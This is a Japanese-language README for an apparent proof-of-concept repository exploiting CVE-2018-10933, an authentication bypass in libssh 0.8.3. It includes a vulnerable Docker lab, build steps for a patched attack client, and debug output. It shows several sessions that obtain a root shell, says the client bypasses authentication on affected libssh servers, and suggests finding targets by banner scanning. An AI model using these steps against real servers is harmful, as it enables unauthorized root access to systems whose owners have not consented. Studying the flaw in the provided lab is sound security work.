
cve-2018-10933 libssh 認証バイパス
CVE-2018-10933 libssh 認証バイパス、脆弱なDockerコンテナで、ポート2222をリッスンし、悪用を可能にします。コンテナには認証をバイパスするための基本的な概念実証のlibsshパッチが含まれています。ログインには、libsshのデフォルトの「myuser」/「mypassword」を使用します。Dockerコンテナ内のlibsshのコピーにパッチが適用され、認証(キーボードインタラクティブ/公開鍵/gss-apiなど)試行中にSSH2_MSG_USERAUTH_SUCCESSパケットを注入し、クライアント側の状態を進行するように設定します。含まれているサーバーは、悪用を成功させるためにサンプルコードからパッチが適用されています。
./build.sh
./run.sh
ssh -l myuser -p 2222 localhost
テスト目的のために、パッチが適用されたexploit-libssh-0.8.3と脆弱なsshdがコンテナ内で利用可能です。「ssh-client」は認証をバイパスすることに成功しますが、サーバーコード内の追加の認証チェックにより、デフォルトのサンプルサーバーに対してシェルを起動することはできません。
[root@305b48cb932e ]# cd /root/exploit-libssh-0.8.3/build/examples
[root@305b48cb932e examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:Mg6j2yHWMsRe56ABhAYjLIJK9yD2N3lGQAl3EfGqP7w
yes
This new key will be written on disk for further usage. do you agree ?
yes
Requesting shell : Channel request shell failed
[root@305b48cb932e examples]#
アドバイザリより「悪意のあるクライアントは、最初に認証を行わずにチャネルを作成し、不正アクセスを引き起こす可能性があります。」
以下のlibsshデバッグ出力は、サーバー上で認証が成功し、セッションチャネルが作成されたことを示しています。ホストは認証されましたが、追加のサーバー側チェックによりコマンドの実行が妨げられます。攻撃者は依然としてサービスを介したトンネル/プロキシ接続を試みる可能性があります。
[2018/10/19 01:26:24.929187, 3] ssh_packet_process: Dispatching handler for packet type 52
[2018/10/19 01:26:24.929228, 3] ssh_packet_userauth_success: Authentication successful
[2018/10/19 01:26:24.971901, 3] ssh_packet_socket_callback: packet: read type 90 [len=44,padding=19,comp=24,payload=24]
[2018/10/19 01:26:24.971984, 3] ssh_packet_process: Dispatching handler for packet type 90
[2018/10/19 01:26:24.972012, 3] ssh_packet_channel_open: Clients wants to open a session channel
[2018/10/19 01:26:24.972057, 3] ssh_message_channel_request_open_reply_accept_channel: Accepting a channel request_open for chan 43
[2018/10/19 01:26:24.972193, 3] ssh_socket_unbuffered_write: Enabling POLLOUT for socket
[2018/10/19 01:26:24.972233, 3] packet_send2: packet: wrote [len=28,padding=10,comp=17,payload=17]
シェル/exec/ptyの起動を試みると、セッションは成功しますが、ユーザー認証状態に関する追加のチェックによりサンプルサーバーでエラーが発生します。サンプルサーバーには以下のエラーが表示されます。
[2018/10/19 03:33:56.539864, 3] ssh_message_handle_channel_request: Received a shell channel_request for channel (43:0) (want_reply=1)
[2018/10/19 03:33:56.539899, 3] ssh_message_channel_request_reply_default: Sending a default channel_request denied to channel 0
特定のlibsshサーバーでは任意のコード実行が可能な場合もありますが、大半はトンネリングまたはSSHプロトコルの誤用のみを許可する可能性があります。追加の認証チェックを削除することで、サーバーは認証バイパスエクスプロイトに対して脆弱になります。サーバーサイドのlibssh実装がこの脆弱性を導入する可能性があります。以下は、パッチを適用したlibsshを使用した悪用の成功例です。
[root@3a184714fd21]# cd /root/exploit-libssh-0.8.3/build/examples
[root@3a184714fd21 examples]# ./ssh-client -l root 127.0.0.1
The server is unknown. Do you trust the host key (yes/no)?
SHA256:DyYf8l6tjNc0kyUe5uE/Rt8vHI1SuhsVGbzOonzPlaY
yes
This new key will be written on disk for further usage. do you agree ?
yes
[root@3a184714fd21 /]# id
uid=0(root) gid=0(root) groups=0(root)
Dockerコンテナはデフォルトで脆弱な「ssh_server_fork」サンプルを実行します。オリジナルはテスト/デバッグ目的で「libssh-0.8.3」ディレクトリにあります。
以下のベンダーは、libsshを使用しているため、この欠陥による実際的な影響を受けると思われます。
libsshは多くの*BSDおよびLinuxディストリビューションにローカルにインストールされており、ffmpeg(?)、hydra、および少数のFOSSパッケージで使用されています。
このリポジトリからパッチが適用されたlibsshクライアントを悪用のためにビルドできます。
git clone https://github.com/hackerhouse-opensource/cve-2018-10933
cd cve-2018-10933
xz -d libssh-0.8.3.tar.xz
tar -xvf libssh-0.8.3.tar
cd libssh-0.8.3
patch -p0 < ../cve-2018-10933.patch
mkdir build
cd build
cmake ..
make
その後、「ssh-client」および任意のサンプルを使用して、影響を受けるlibsshサーバー実装の認証をバイパスできます。
$ ./ssh-client -l root 127.0.0.1 -p 2222
[root@8fec78903da2 /]# id
uid=0(root) gid=0(root) groups=0(root)
潜在的に脆弱なホストのスキャンは、影響を受けるSSHポート(例:nmap)で通常のバナーグラブを行うだけで実行できます。
SSH-2.0-libssh_0.8.3
元のアドバイザリはCVE-2018-10933.txtにあり、脆弱性はPeter Winter Smithによって発見されました。脆弱なDockerとlibsshエクスプロイトパッチはHacker House(https://hacker.house)によってリリースされました。
これらのファイルは3条項BSDライセンスの下で利用可能です。